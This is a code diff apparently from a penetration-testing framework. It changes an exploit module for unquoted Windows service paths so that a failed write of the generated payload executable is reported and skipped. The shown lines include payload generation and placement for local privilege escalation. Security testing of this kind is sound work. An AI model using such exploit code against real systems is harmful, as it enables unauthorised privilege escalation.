exploit/windows/local/unquoted_service_path: Check if write_file fails

Author: bcoles

modules/exploits/windows/local/unquoted_service_path.rb

@@ -170,7 +170,12 @@ def exploit
       print_status("      Placing #{exe_path} for #{svc_name}")
       exe = @svc_exes[svc_name] ||= generate_payload_exe_service({ servicename: svc_name })
       print_status("      Attempting to write #{exe.length} bytes to #{exe_path}...")
-      write_file(exe_path, exe)
+
+      unless write_file(exe_path, exe)
+        print_error("#{exe_path} could not be written")
+        next
+      end
+
       print_good '      Successfully wrote payload'
       register_file_for_cleanup(exe_path)